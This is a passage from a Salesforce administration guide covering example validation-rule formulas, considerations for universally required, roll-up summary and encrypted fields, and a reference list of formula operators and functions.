discount amounts for products and require a custom percent field on opportunity products called Line Discount. The
examples below also require you to use price books and customize the Product Family field to include the following values:
Software, Consulting, and Training.
Software Discounts

532
Customize Managing Validation Rules

Field Value
Description: Prevents users from saving software products with a discount
over 10 percent.
Formula: AND(Line_Discount__c > 0.10,
ISPICKVAL(Product2.Family, "Software"))

Error Message: The discount must be 10% or less for software products.
Error Location: Line Discount

Consulting Discounts

Field Value
Description: Prevents users from saving consulting products with a discount
over 15 percent.
Formula: AND(Line_Discount__c > 0.15,
ISPICKVAL(Product2.Family, "Consulting"))

Error Message: The discount must be 15% or less for consulting products.
Error Location: Line Discount

Training Discounts

Field Value
Description: Prevents users from saving training products with a discount
over 20 percent.
Formula: AND(Line_Discount__c > 0.20,
ISPICKVAL(Product2.Family, "Training"))

Error Message: The discount must be 20% or less for training products.
Error Location: Line Discount

Prevent Changing Opportunity Products on Closed Opportunities


This example consists of two validation rules: one on opportunity products and another on opportunities.

Field Value
Description: Prevents users from editing opportunity products after an
opportunity is closed. Create the following validation rule
example on opportunity products.

533
Customize Managing Validation Rules

Field Value
Formula: OR(ISPICKVAL(Opportunity.StageName, "Closed
Won"), ISPICKVAL(Opportunity.StageName,
"Closed Lost"))

Error Message: Cannot change opportunity products for closed opportunities.


Error Location: Top of Page

The following validation rule is on opportunities.

Field Value
Description: Prevents users from deleting opportunity products after an
opportunity is closed. Create the following validation rule
example on opportunities. It uses a custom roll-up summary
field on opportunities that counts the number of opportunity
products on an opportunity.
Formula: AND(OR(ISPICKVAL(StageName, "Closed Won"),
ISPICKVAL(StageName, "Closed Lost")),
Number_of_Line_Items__c <
PRIORVALUE(Number_of_Line_Items__c) )

Error Message: Cannot delete opportunity products for closed opportunities.


Error Location: Top of Page

Prevent Saving a Case When Account Does Not Have Support

Field Value
Description: Prevents users from saving a case for an account that does not
have support. This example assumes you have a custom
checkbox field on accounts called Allowed Support that
tracks if the account has support.
Formula: Account.Allowed_Support__c = FALSE

Error Message: Unable to create cases for this account because it is not signed
up for support.
Error Location: Top of Page

Prevent Saving a Case When Contact is No Longer with the Company

Field Value
Description: Prevents users from saving an open case associated with a
contact that is no longer with the company. This example uses

534
Customize Managing Validation Rules

Field Value
a custom checkbox field on contacts called No Longer With
Company.

Formula: AND(Contact.No_Longer_With_Company__c,
NOT(IsClosed))

Error Message: Unable to save this case because the related contact is no longer
with the company. To continue, choose another contact.
Error Location: Contact Name

Salesforce CRM Ideas Validation Rules

Preventing Offensive Language in the Comments Field

Field Value
Description: Prevents users from entering offensive language when posting a comment.
Formula: OR(CONTAINS(CommentBody , 'darn'), CONTAINS(CommentBody, 'dang'))

Error Message: Comment contains offensive language.


Error Location: Top of Page

Preventing Offensive Language in the Idea Title and Description

Field Value
Description: Prevents users from entering offensive language in the Title and Description fields
when posting an idea.
Formula: OR(CONTAINS(Title, 'darn'), CONTAINS(Body, 'darn'))

Error Message: Idea title or description contains offensive language.


Error Location: Top of Page

535
Customize Managing Validation Rules

Other Validation Rules

Allow Number to Be Increased but Not Decreased

Field Value
Description: Allows a custom field called Commit Amount to be increased but not decreased after
initial creation. This rule uses the PRIORVALUE() function to compare the updated
value of the field to its value prior to update.
Formula: PRIORVALUE(Commit_Amount__c) > Commit_Amount__c

Error Message: Commit Amount cannot be decreased.


Error Location: Commit Amount

California Driver's License

Field Value
Description: Ensures that a custom field called Drivers License is in the correct A9999999 format
when the Mailing State is “CA”.
Formula: AND(
MailingState = "CA",
NOT(REGEX(Drivers_License__c, "([A-Z]\\d{7})?"))
)

Error Message: Invalid California driver's license format.


Error Location: Drivers License

Force Users to Check “I Accept Terms” to Enter Certain Values

Field Value
Description: Uses a checkbox labeled “I accept terms” to force the user to select a checkbox in order
to enter a value called Number of Days that exceeds their Paid Time Off (PTO)
balance available.
Formula: AND(
NOT( I_accept_terms__c ),
Number_of_Days__c > $User.PTO_Balance__c
)

Error Message: Request will cause a negative PTO balance. You must accept Negative PTO Balance
terms.
Error Location: I accept terms

536
Customize Managing Validation Rules

Prohibit Changes to a Field After It Has Been Saved

Field Value
Description: Prevents users from changing a custom field called Guaranteed Rate after it has been
saved initially.
Formula: AND(
NOT( ISNEW() ),
ISCHANGED( Guaranteed_Rate__c )
)

Error Message: Guaranteed Rate cannot be changed.


Error Location: Guaranteed Rate

Social Security Number Format

Field Value
Description: Validates that a custom text field called SSN is formatted in 999-99-9999 number format
(if it is not blank). The pattern specifies:
• Three single digits (0-9):\\d{3}
• A dash
• Two single digits (0-9):\\d{2}
• A dash
• Four single digits (0-9):\\d{4}

Formula: NOT(
OR(
ISBLANK(Social_Security_Number__c),
REGEX( Social_Security_Number__c , "[0-9]{3}-[0-9]{2}-[0-9]{4}")
)
)

Error Message: SSN must be in this format: 999-99-9999.


Error Location: SSN

Valid Currency

Field Value
Description: Validates selected currency against an explicit subset of active currencies in your
organization using the Currency picklist. Use this example if you only allow some of
the active currencies in your organization to be applied to certain types of records.

537
Customize Managing Validation Rules

Field Value
Formula: CASE(CurrencyIsoCode,
"USD", 1,
"EUR", 1,
"GBP", 1,
"JPY", 1,
0) = 0

Error Message: Currency must be USD, EUR, GBP, or JPY.


Error Location: Currency

Valid Credit Card Number

Field Value
Description: Validates that a custom text field called Credit_Card_Number is formatted in
9999-9999-9999-9999 or 9999999999999999 number format when it is not blank.The
pattern specifies:
• Four digits (0-9) followed by a dash: \\d{4}-
• The aforementioned pattern is repeated three times by wrapping it in () {3}
• Four digits (0-9)
• The OR character (|) allows an alternative pattern of 16 digits of zero through nine
with no dashes: \\d{16}

Formula: NOT( REGEX( Credit_Card_Number__c ,


"(((\\d{4}-){3}\\d{4})|\\d{16})?"))

Error Message: Credit Card Number must be in this format: 9999-9999-9999-9999 or


9999999999999999.
Error Location: Credit Card Number

Valid IP Address

Field Value
Description: Ensures that a custom field called IP Address is in the correct format, four 3-digit
numbers (0-255) separated by periods.
Formula: NOT(
REGEX( IP_Address__c,
"^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$"
))

Error Message: Error: IP Address must be in form 999.999.999.999 where each part is between 0 and
255.
Error Location: IP Address

538
Customize Managing Validation Rules

Website Extension

Field Value
Description: Validates a custom field called Web Site to ensure its last four characters are in an
explicit set of valid website extensions.
Formula: AND(
RIGHT( Web_Site__c, 4) <> ".COM",
RIGHT( Web_Site__c, 4) <> ".com",
RIGHT( Web_Site__c, 4) <> ".ORG",
RIGHT( Web_Site__c, 4) <> ".org",
RIGHT( Web_Site__c, 4) <> ".NET",
RIGHT( Web_Site__c, 4) <> ".net",
RIGHT( Web_Site__c, 6) <> ".CO.UK",
RIGHT( Web_Site__c, 6) <> ".co.uk"
)

Error Message: Web Site must have an extension of .com, .org, .net, or .co.uk.
Error Location: Web Site

Validation Rule Considerations


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Validation rules verify that the data a user enters in a record meets the standards you specify before the user can save the record.
A validation rule can contain a formula or expression that evaluates the data in one or more fields and returns a value of “True”
or “False.” Validation rules also include an error message to display to the user when the rule returns a value of “True” due to
an invalid value. Review the following implementation notes and best practices before implementing validation rules in your
organization.

Implementation Notes
• It is not necessary to begin your validation rule formula with an IF function. Any Boolean error condition expression works.
For example:
- Correct: CloseDate < TODAY()
- Incorrect: IF(CloseDate < TODAY(), TRUE, FALSE)

• Validation formulas cannot reference merge fields for auto number or compound address fields like Mailing Address.
However, merge fields for individual address fields, such as Billing City, can be used in validation formulas.
• Validation formulas cannot reference campaign statistic fields, including statistics for individual campaigns and campaign
hierarchies. For a list of fields that cannot be used in validation formulas, see Campaign Fields on page 1310.
• When one validation rule fails, Salesforce.com continues to check any additional validation rules on that field or any other
field on the page and displays all appropriate error messages at once.
• The detail page of a custom activity field does not list associated validation rules.
• If validation rules exist for activities and you create an activity during lead conversion, the lead converts but a task is not
created.

539
Customize Managing Validation Rules

• Validation rules are only enforced during lead conversion if validation and triggers for lead conversion are enabled in your
organization.
• Campaign hierarchies ignore validation rules.
• Salesforce.com runs validation rules before creating records submitted via Web-to-Lead and Web-to-Case, and only creates
records that have valid values.
• The Data Loader and the Force.com API version 7 and later run validation rules.
• Salesforce.com runs validation rules on records before they are imported. Records that fail validation are not imported.
Consider deactivating the appropriate validation rules before running an import if they affect the records you are importing.
• Because updates to records based on workflow rules do not trigger validation rules, workflow rules can invalidate previously
valid fields.
• When defining validation rules, you can set the error location to Top of Page or Field. If the error location is set to a
field that is later deleted or a field that is read only or not visible on the page layout, Salesforce.com automatically changes
the error location to Top of Page.
• An “Invalid Formula” error displays if your formula has a run-time error such as division by zero.
• You cannot create validation rules for relationship group members.
• If a lookup field references a record that is deleted, Salesforce.com sets the lookup field to null, and does not run any Apex
triggers, validation rules, workflow rules, or roll-up summary fields.
• When a validation rule contains the BEGINS or CONTAINS functions, it processes blank fields as valid. For example,
if you have a validation rule that tests to see if the serial number of an asset begins with “3,” all assets that have a blank
serial number are considered valid.
• Some merge fields display as radio buttons but function like picklist fields when referenced in a formula. Use the values
“Read,” “Edit,” and “None” when referencing the following merge fields in a formula:
- $UserRole.CaseAccessForAccountOwner
- $UserRole.OpportunityAccessForAccountOwner
- CaseAccessLevel (on Territory)
- OpportunityAccessLevel (on Territory)
Use the values “Read,” “Edit,” and “All” when referencing the following merge fields in a formula:
- AccountAccessLevel (on Territory)

• Because roll-up summary fields are not displayed on edit pages, you can use them in your validation rule but not as the
error location.
• Validation rules do not run on multiple records updated after a change owner or mass transfer. However, changing an
owner of a single record does run validation rules.
Tip: Salesforce.com processes any rules in the following order:
1. Validation rules
2. Assignment rules
3. Auto-response rules
4. Workflow rules (with immediate actions)
5. Escalation rules
Workflow field updates that run based on an approval process or time-dependent action do not trigger any rules.

Best Practices
• When creating validation rules, consider all the settings in your organization that can make a record fail validation such
as assignment rules, field updates, field-level security, or fields hidden on a page layout.
• Be careful not to create two contradicting validation rules for the same field; otherwise, users will not be able to save the
record.

540
Customize Managing Validation Rules

• A poorly designed validation rule can prevent users from saving valid data. Make sure you thoroughly test a validation rule
before activating it. Users will never be able to save a record if your formula always returns a “True” value.
• Because validation rules run on the Self-Service portal, make sure your validation rules do not prevent Self-Service users
from creating cases.
• Write helpful error messages:
Always include the field label.
Users may not know what field is failing validation, especially if your error message is located at the top of the page.

Give instructions.
An error message like “invalid entry” does not tell them what type of entry is valid. Use an error message like "Close
Date must be after today."

If appropriate, translate your error messages.


If users in your organization speak different languages, translate your error messages using the translation workbench.
See Setting Up Translation Workbench on page 121.

Assign error numbers to validation rules and error messages.


This allows you to identify the source of the error.
• Consider what fields are visible and editable for users on their page layouts due to field-level security. Fields that are not
visible or editable for the user are still available in the formula for a validation rule and can cause a validation error. If the
error message is designed to display next to a hidden field, it will display at the top of the page.
For such fields, consider adding a default value to automatically populate the field with a valid value since users will not
be able to edit the field to correct any validation errors. See Defining Default Field Values on page 504.
• Use the record type ID merge field in your formula to apply different validation for different record types. For information
about merge fields, see Merge Fields Overview on page 100.
• If person accounts are enabled for your organization:
- To define a validation rule that applies only to person accounts, use the IsPersonAccount merge field.
- You must handle person account names and business account names separately in account validation rules. For business
accounts, use the Name merge field. For person accounts, use the FirstName and LastName merge fields.
- Birthdate, Email, and other fields that are only supported for person accounts are available as merge fields in account
validation rules. When you use one of those merge fields, note that business account records will be processed as if
those fields have blank values.

• When using a validation rule to ensure that a number field contains a specific value, use the ISNULL function to include
fields that do not contain any value. For example, to validate that a custom field contains a value of '1,' use the following
validation rule to display an error if the field is blank or any other number:

OR(ISNULL(field__c), field__c<>1)

• Simplify your validation formulas by using checkbox fields, which don't require any operator because they return true or
false. For example, the following validation formula checks to be sure an opportunity has opportunity products using the
HasOpportunityLineItem merge field before users can save a change to it:

NOT(OR(ISNEW(),HasOpportunityLineItem))

• When referencing related fields in your validation formula, make sure those objects are deployed.
• Check the Debug Log to monitor details of the start and completion of each validation rule evaluated.

541
Customize About Universally Required Fields

• You can still validate the values of encrypted fields using validation rules or Apex scripts. Both work regardless of whether
the user has the “View Encrypted Data” permission. Data for encrypted fields in the debug log is masked.

See Also:
About Validation Rules
Defining Validation Rules
Examples of Validation Rules

About Universally Required Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

A universally required field is a custom field that must have a value whenever a record is saved within Salesforce.com, the
Force.com API, Connect Offline, Connect for Outlook, Connect for Lotus Notes, the Self-Service portal, or automated
processes such as Web-to-Lead and Web-to-Case. Making a field required on a page layout or through field-level security
ensures users must enter a value, but making a field required universally gives you a higher level of data quality beyond the
presentation level of page layouts.
You can make the following types of custom fields universally required:

• Currency
• Date
• Date/Time
• Email
• Master-Detail Relationship (always required)
• Number
• Percent
• Phone
• Text
• Text Area
• URL

To make a custom field universally required, select the Required checkbox when defining the custom field.
Note: You must specify a default value for required campaign member custom fields.
If you make a user field universally required, you must specify a default value for that field. See Defining Default Field
Values on page 504.

Relationship group members do not support universally required fields. For more information on the behaviors of relationship
group members, see Relationship Group Considerations on page 1847.

See Also:
Universally Required Field Considerations
Creating Custom Fields

542
Customize About Universally Required Fields

Universally Required Field Considerations


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

A universally required field is a custom field that must have a value whenever a record is saved within Salesforce.com, the
Force.com API, Connect Offline, Connect for Outlook, Connect for Lotus Notes, the Self-Service portal, or automated
processes such as Web-to-Lead and Web-to-Case. Review the following considerations before making your custom fields
universally required.

• Standard fields cannot be universally required. For a list of the types of custom fields that you can make universally required,
see About Universally Required Fields on page 542.
• Universally required fields are required across all record types.
• Edit pages always display universally required fields, regardless of field-level security.
• When designing your page layouts, universally required fields:

- Cannot be removed from a page layout


- Are automatically added to the end of the first section of a page layout if not already on it
- Cannot be read only or optional
- Display in bold, indicating they are always visible
- Are disabled on the field properties page because you cannot remove the required setting

• Universally required fields are only enforced during lead conversion if validation and triggers for lead conversion are enabled
in your organization.
• Quick Create does not enforce universally required fields.
• If you make an activity custom field universally required, you must also provide a default value.
• You must include universally required fields in your import files or the import will fail. For more information, see About
Universally Required Fields on page 542. For more information, see Importing Overview on page 288.
• Default values should not be assigned to fields that are both required and unique, as uniqueness errors may result.
• You cannot make a field universally required if it is used by a field update that sets the field to a blank value. For details,
see Defining Field Updates on page 812.
• Required fields may be blank on records that existed before making the field required. When a user updates a record with
a blank required field, the user must enter a value in the required field before saving the record.

See Also:
About Universally Required Fields
Creating Custom Fields

543
Customize About Roll-Up Summary Fields

About Roll-Up Summary Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

While your formula fields calculate values using fields within a single record, roll-up summary fields calculate values from a
set of related records, such as those in a related list. You can create roll-up summary fields that automatically display a value
on a master record based on the values of records in a detail record. These detail records must be directly related to the master
through a master-detail relationship. For example, a custom account field called Total Invoice Amount displays the sum
of invoice amounts for all related invoice custom object records in the Invoices related list on an account.
You can perform different types of calculations with your roll-up summary fields. You can count the number of detail records
related to a master record, or calculate the sum, minimum value, or maximum value of a field in the detail records.
Before you begin creating roll-up summary fields for your organization, review the implementation tips and best practices.

Implementation Tips
• Create roll-up summary fields on:
- Any custom object that is on the master side of a master-detail relationship
- Any standard object that is on the master side of a master-detail relationship with a custom object
- Opportunities using the values of opportunity products related to the opportunity
- Accounts using the values of related opportunities
- Campaigns using campaign member status or the values of campaign member custom fields
Note: Campaign member custom formula fields that reference fields derived from leads or contacts are not
supported.

• The types of fields you can calculate in a roll-up summary field depend on the type of calculation. For example,
- Number, currency, and percent fields are available when you select SUM as the roll-up type.
- Number, currency, percent, date, and date/time fields are available when you select MIN or MAX as the roll-up type.

• You may not be able to change the field type of a field that you reference in a roll-up summary field.
• For the maximum number of roll-up summary fields allowed in your organization, see Salesforce.com Editions and Limits
on page 1007.
• Roll-up summary fields cannot calculate the values of other roll-up summary fields except for account to opportunity roll-up
summary fields, which allow you to calculate the values of opportunity roll-up summary fields.
• Roll-up summary fields can calculate the values of formula fields if they do not contain cross-object field references or
functions that automatically derive values on the fly, such as NOW or TODAY.
Note: The value of a formula field can result in “#Error!”, which affects the summarized total. If your roll-up
summary type is COUNT, records are included regardless of whether they contain a formula field with an error,
but when the Field to Aggregate is a formula field that results in “#Error!”, calculations of type MIN, MAX,
and SUM exclude those formula values.

• Make sure that the filter for your roll-up summary does not encounter a formula field that results in “#Error!”. If your filter
criteria uses a formula field that results in an error, Salesforce.com does not return any matches for that filter criterion. For
example, if your roll-up summary filter is “Formula Field equals 10” and two records contain errors while one contains the
value “10” in that field, your summary only includes the record with the value “10.”

544
Customize About Roll-Up Summary Fields

• Changes to the value of a roll-up summary field can trigger assignment rules to run. If a roll-up summary field is part of
the criteria in an assignment rule, the field's new value is used to evaluate if the record should be reassigned.
• Roll-up summary fields can trigger workflow rules and field validations. However, workflow rules and field validations do
not fire when the following changes cause a mass recalculation of roll-up summary values:
- Changing the roll-up summary definition (such as the object, function, or field being aggregated)
- Changing the expression of a formula field referenced in a roll-up summary field
- Replacing picklist values for picklist fields referenced in the roll-up summary filter
- Changing picklist record type definitions
- Changing currency conversion rates
- Changing price book entries

• Calculating roll-up summary field values may take up to 30 minutes, depending on the number of records affected and
other factors.
• Salesforce.com does not recalculate the value of campaign roll-up summary fields when leads or contacts are deleted. Select
the Force a mass recalculation on this field option on the edit page of a campaign roll-up summary field
to manually recalculate the value.
• Salesforce.com does not prevent you from creating roll-up summary fields that might result in invalid values, such as
February 29th in a non-leap year. If an existing roll-up summary field results in an invalid value, Salesforce.com does not
recalculate the value, and the field will continue to display with an invalid roll-up summary icon ( ) until you change the
values being summarized.
• If your organization uses multiple currencies, the currency of the master record determines the currency of the roll-up
summary field. For example, if the master and detail records are in different currencies, Salesforce.com converts the values
in the detail record into the currency of the master record before calculating the final value and displaying it in the same
currency as the master record.
• Long text area, multi-select picklist, Description, system fields like Last Activity, cross-object formula fields, and
lookup fields (such as the Product Code field) cannot be used in the field column of roll-up summary filters.
• Auto number fields are not available as the field to aggregate in a roll-up summary field.
• After you have created a roll-up summary field on an object, you cannot convert the object's master-detail relationship into
a lookup relationship.
• Roll-up summary fields are not available for mapping lead fields of converted leads.
• If your organization has advanced currency management enabled, currency roll-up summary fields are invalid if they are
on accounts and summarizing opportunity values or on opportunities and summarizing custom object values.
• Salesforce.com will prevent users from saving a record when doing so would invalidate a related record. For example, if
the related master record has a validation rule that requires the roll-up summary field value to be greater than 100, and the
user's change to the child record will put the value over 100, the user will not be able to save the record.
• If a lookup field references a record that is deleted, Salesforce.com sets the lookup field to null, and does not run any Apex
triggers, validation rules, workflow rules, or roll-up summary fields.

Best Practices
• Apply field-level security to your roll-up summary fields if they calculate values that you do not want visible to users. Fields
that your users cannot see due to field-level security settings on the detail record are still calculated in a roll-up summary
field.
• If you have validation rules, consider how they affect roll-up summary fields. A validation error can display when saving
either the detail or master record because the value in a roll-up summary field changes when the values in the detail records
change.
• Because roll-up summary fields are not displayed on edit pages, you can use them in validation rules but not as the error
location for your validation.

545
Customize About Roll-Up Summary Fields

• Avoid referencing a roll-up summary field from a child record. The roll-up summary field will have the previous value
because the parent record has not been updated. If you reference a roll-up summary field from a parent record, the roll-up
summary field will always have the new value because that rule runs after the parent value has been updated.
If you are trying to enforce a record limit of 25 on the parent roll-up summary field, when you add a new child record,
your validation rule on the child object needs to check if the count is already 25 or greater.

AND(ISNEW(), Opportunity.Line_Count__c >= 25)

• Plan your implementation of roll-up summary fields carefully before creating them. Once created, you cannot change the
detail object selected or delete any field referenced in your roll-up summary definition.
• Roll-up summary fields are affected by advanced currency management. If your organization enables advanced currency
management, delete any currency roll-up summary fields on accounts that summarize opportunity values or on opportunities
that summarize custom object values. Otherwise, the fields continue to display with an invalid roll-up summary icon because
Salesforce.com no longer calculates their values.
• Automatically derived fields such as current date or current user are not allowed in roll-up summary fields. This includes
formula fields containing functions that automatically derive values on the fly, such as NOW and TODAY. Formula fields
that include related object merge fields are also not allowed in roll-up summary fields.

See Also:
Adding Fields and Relationships
Defining Roll-Up Summaries

Defining Roll-Up Summaries


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view roll-up summary field definitions: “View Setup and Configuration”
To edit roll-up summary field definitions: “Customize Application”

Define roll-up summary fields on the object that is on the master side of a master-detail relationship. If a relationship does
not already exist, first create a master-detail relationship between the master object that displays the value and the detail object
containing the records you are summarizing. For a list of the standard master-detail relationships where roll-up summary
fields are available, see About Roll-Up Summary Fields on page 544.
To define a roll-up summary field:

1. Create a custom field on the object where you want the field displayed. Summary fields summarize the values from records
on a related object, so the object on which you create the field should be on the master side of a master-detail relationship.
For instructions on creating a custom field, see Adding Fields and Relationships on page 440.
2. Choose the Roll-Up Summary field type, and click Next.
3. Enter a field label and any other attributes. Click Next. For information on the attributes you can set, see Custom Field
Attributes on page 445.
4. Select the object on the detail side of a master-detail relationship. This object contains the records you want to summarize.

546
Customize About Encrypted Custom Fields

5. Select the type of summary:

Type Description
COUNT Totals the number of related records.
SUM Totals the values in the field you select in the Field to Aggregate option. Only number, currency,
and percent fields are available.
MIN Displays the lowest value of the field you select in the Field to Aggregate option for all
directly-related records. Only number, currency, percent, date, and date/time fields are available.
MAX Displays the highest value of the field you select in the Field to Aggregate option for all
directly-related records. Only number, currency, percent, date, and date/time fields are available.

6. Enter your filter criteria if you want a selected group of records in your summary calculation. If your organization uses
multiple languages, enter filter values in your organization's default language. For more information on using filter criteria,
see Entering Filter Criteria on page 1916.
7. Click Next.
8. In Enterprise, Unlimited, and Developer Editions, set the field-level security to determine whether the field should be
visible for specific profiles, and click Next.
9. Choose the page layouts that should display the field. The field is added as the last field in the first two-column section
on the page layout. For user custom fields, the field is automatically added to the bottom of the user detail page.
10. Click Save to finish or Save & New to create more custom fields.

See Also:
About Roll-Up Summary Fields

About Encrypted Custom Fields


Encrypted custom fields are text fields that can contain letters, numbers, or symbols but are encrypted. The value of an encrypted
field is only visible to users that have the “View Encrypted Data” permission.
Before you begin working with encrypted custom fields, review the following implementation notes and best practices:

Implementation Notes
• To enable encrypted fields for your organization, contact salesforce.com.
• Encrypted fields are encrypted with 128-bit keys and use the AES (Advanced Encryption Standard) algorithm.
• Encrypted custom fields cannot be unique, an external ID, or have default values.
• While other text fields can contain up to 255 characters, encrypted text fields are limited to 175 characters due to the
encryption algorithm.
• Encrypted fields are not available for use in filters such as list views, reports, roll-up summary fields, and rule filters.
• Encrypted fields cannot be used to define report criteria but they can be included in report results.
• Encrypted fields are not searchable but they can be included in search results.
• Encrypted fields are not available in the following: Salesforce Mobile, Connect for Outlook, Connect for Lotus Notes,
Connect Offline, lead conversion, workflow rule criteria or formulas, formula fields, outbound messages, default values,
and Web-to-Lead and Web-to-Case forms.

547
Customize Operators and Functions

• You can use encrypted fields in email templates yet the value is always masked regardless of whether you have the “View
Encrypted Data” permission.
• If you have created encrypted custom fields, make sure your organization has secure connections using SSL (Secure Sockets
Layer) enabled. To enable this setting for your organization, see Setting Session Security on page 220.
• If you have the “View Encrypted Data” permission and you grant login access to another user, be aware that the other user
will be able to see encrypted fields unmasked (in plain text). To avoid this, first clone your profile and remove the “View
Encrypted Data” permission from the cloned profile, then assign yourself to the cloned profile before granting login access
to the other user. If you do not have the appropriate permissions to clone and change your profile, contact your administrator
for assistance.
• Only users with the “View Encrypted Data” permission can clone the value of an encrypted field when cloning that record.

Best Practices
• Encrypted fields are editable regardless of whether the user has the “View Encrypted Data” permission. Use validation
rules, field-level security settings, or page layout settings to prevent users from editing encrypted fields.
• You can still validate the values of encrypted fields using validation rules or Apex scripts. Both work regardless of whether
the user has the “View Encrypted Data” permission. Data for encrypted fields in the debug log is masked.
• Existing custom fields cannot be converted into encrypted fields nor can encrypted fields be converted into another data
type. To encrypt the values of an existing (unencrypted) field, export the data, create an encrypted custom field to store
that data, and import that data into the new encrypted field.
• Mask Type is not an input mask that ensures the data matches the Mask Type. Use validation rules to ensure that the
data entered matches the mask type selected.
• Use encrypted custom fields only when government regulations require it because they involve additional processing and
have search-related limitations.

See Also:
Adding Fields and Relationships
Custom Field Attributes

Operators and Functions


Use the following operators and functions when building formulas. Click on the name or description below to view more
details. All functions are available everywhere that you can include a formula such as formula fields, validation rules, approval
processes, and workflow rules, unless otherwise specified.
Note: Extraneous spaces in the samples below are ignored by Salesforce.com.

Math Operators

Operator Description
+ Calculates the sum of two values.
- Calculates the difference of two values.
* Multiplies its values.
/ Divides its values.

548
Customize Operators and Functions

Operator Description
^ Raises a number to a power of a specified number.
() Specifies that the expressions within the open parenthesis and close parenthesis are evaluated first.
All other expressions are evaluated using standard operator precedence.

Logical Operators

Operator Description
= and == Evaluates if two values are equivalent.
<> and != Evaluates if two values are not equivalent.
< Evaluates if a value is less than the value that follows this symbol.
> Evaluates if a value is greater than the value that follows this symbol.
<= Evaluates if a value is less than or equal to the value that follows this symbol.
>= Evaluates if a value is greater than or equal to the value that follows this symbol.
&& Evaluates if two values or expressions are both true. Use this operator as an alternative to the logical
function AND.
|| Evaluates if at least one of multiple values or expressions is true. Use this operator as an alternative
to the logical function OR.

Text Operators

Operator Description
& Connects two or more strings.

Date and Time Functions

Function Description
DATE Returns a date value from year, month, and day values you enter.
Salesforce.com displays an error on the detail page if the value of the DATE
function in a formula field is an invalid date, such as February 29 in a
non-leap year.
DATEVALUE Returns a date value for a date/time or text expression.
DAY Returns a day of the month in the form of a number between 1 and 31.
MONTH Returns the month, a number between 1 ( January) and 12 (December) in
number format of a given date.
NOW Returns a date/time representing the current moment.
TODAY Returns the current date as a date data type.
YEAR Returns the four-digit year in number format of a given date.

549
Customize Operators and Functions

Informational Functions

Function Description
BLANKVALUE Determines if an expression has a value and returns a substitute expression
if it does not. If the expression has a value, returns the value of the expression.
ISBLANK Determines if an expression has a value and returns TRUE if it does not. If
it contains a value, this function returns FALSE.
ISNULL Determines if an expression is null (blank) and returns TRUE if it is. If it
contains a value, this function returns FALSE.
NULLVALUE Determines if an expression is null (blank) and returns a substitute expression
if it is. If the expression is not blank, returns the value of the expression.
PRIORVALUE Returns the previous value of a field.

Logical Functions

Function Description
AND Returns a TRUE response if all values are true; returns a FALSE response
if one or more values are false.
CASE Checks a given expression against a series of values. If the expression is equal
to a value, returns the corresponding result. If it is not equal to any values,
it returns the else_result.
IF Determines if expressions are true or false. Returns a given value if true and
another value if false.
ISCHANGED Compares the value of a field to the previous value and returns TRUE if the
values are different. If the values are the same, this function returns FALSE.
ISNEW Checks if the formula is running during the creation of a new record and
returns TRUE if it is. If an existing record is being updated, this function
returns FALSE.
ISNUMBER Determines if a text value is a number and returns TRUE if it is. Otherwise,
it returns FALSE.
NOT Returns FALSE for TRUE and TRUE for FALSE.
OR Determines if expressions are true or false. Returns TRUE if any expression
is true. Returns FALSE if all expressions are false.

Math Functions

Function Description
ABS Calculates the absolute value of a number. The absolute value of a number
is the number without its positive or negative sign.
CEILING Rounds a number up to the nearest integer.
EXP Returns a value for e raised to the power of a number you specify.

550
Customize Operators and Functions

Function Description
FLOOR Returns a number rounded down to the nearest integer.
LN Returns the natural logarithm of a specified number. Natural logarithms are
based on the constant e value of 2.71828182845904.
LOG Returns the base 10 logarithm of a number.
MAX Returns the highest number from a list of numbers.
MIN Returns the lowest number from a list of numbers.
MOD Returns a remainder after a number is divided by a specified divisor.
ROUND Returns the nearest number to a number you specify, constraining the new
number by a specified number of digits.
SQRT Returns the positive square root of a given number.

Text Functions

Function Description
BEGINS Determines if text begins with specific characters and returns TRUE if it
does. Returns FALSE if it does not.
BR Inserts a line break in a string of text.
CONTAINS Compares two arguments of text and returns TRUE if the first argument
contains the second argument. If not, returns FALSE.
FIND Returns the position of a string within a string of text represented as a
number.
GETSESSIONID Returns the user’s session ID.
HYPERLINK Creates a link to a URL specified that is linkable from the text specified.
IMAGE Inserts an image with alternate text and height/width specifications.
INCLUDES Determines if any value selected in a multi-select picklist field equals a text
literal you specify.
ISPICKVAL Determines if the value of a picklist field is equal to a text literal you specify.
LEFT Returns the specified number of characters from the beginning of a text
string.
LEN Returns the number of characters in a specified text string.
LOWER Converts all letters in the specified text string to lowercase. Any characters
that are not letters are unaffected by this function. Locale rules are applied
if a locale is provided.
LPAD Inserts spaces or characters you specify to the left-side of a text string.
MID Returns the specified number of characters from the middle of a text string
given the starting position.
RIGHT Returns the specified number of characters from the end of a text string.

551
Customize Operators and Functions

Function Description
RPAD Inserts blank spaces or characters that you specify to the right-side of a text
string.
SUBSTITUTE Substitutes new text for old text in a text string.
TEXT Converts a percent, number, date, date/time, or currency type field into text
anywhere formulas are used. Also, converts picklist values to text in validation
rules, formula fields, and field updates.
TRIM Removes the spaces and tabs from the beginning and end of a text string.
UPPER Converts all letters in the specified text string to uppercase. Any characters
that are not letters are unaffected by this function. Locale rules are applied
if a locale is provided.
VALUE Converts a text string to a number.

Summary Functions
The following functions can only be used in the context of creating custom summary formulas for summary reports.

Function Description
PARENTGROUPVAL A summary function that returns the value of the selected summary field
from the parent grouping level that you specify. Parent grouping levels are
those above the grouping level where you chose to display the formula. For
matrix reports, choose both row and column grouping levels.
PREVGROUPVAL A summary function that returns the value of the selected summary field
from the previous summary row at the grouping level that you specify. For
matrix reports, the summary_field you choose controls whether a previous
row or column is returned. The increment determines how many steps
previous to the current summary field to return. The default increment is 1.
The maximum increment is 12.

Advanced Functions

Function Description
GETRECORDIDS Returns an array of strings in the form of record IDs for the selected records
in a list, such as a list view or related list.
INCLUDE Returns content from an s-control snippet. Use this function to reuse common
code in many s-controls.
LINKTO Returns a relative URL in the form of a link (href and anchor tags) for a
custom s-control or Salesforce.com page.
REGEX Compares a text field to a regular expression and returns TRUE if there is
a match. Otherwise, it returns FALSE. A regular expression is a string used
to describe a format of a string according to certain syntax rules.
